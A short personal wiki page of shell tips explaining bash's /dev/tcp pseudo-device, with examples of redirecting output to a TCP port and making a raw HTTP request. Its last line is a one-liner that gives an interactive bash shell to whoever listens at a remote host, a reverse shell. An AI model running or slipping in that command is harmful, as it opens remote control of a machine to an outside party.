there_s_a_dev_file_for_tcp_connections
It doesn't really exist – it's simulated by bash only when doing redirections. They're of the form:
/dev/tcp/<hostname>/<portnumber>
To send stdout to a TCP connection:
$ mycomment > /dev/tcp/awesome.com/9999
To get a bidirectional TCP connection in shell script:
exec 3<>/dev/tcp/www.google.com/80 echo -e "GET / HTTP/1.1\n\n">&3 cat <&3
To make an interactive bash shell appear for someone listening at awesome.com port 9999:
bash 0<> /dev/tcp/awesome.com/9999 1>&0 2>&0
there_s_a_dev_file_for_tcp_connections.txt · Last modified: 2010/09/02 15:12 by tkbletsc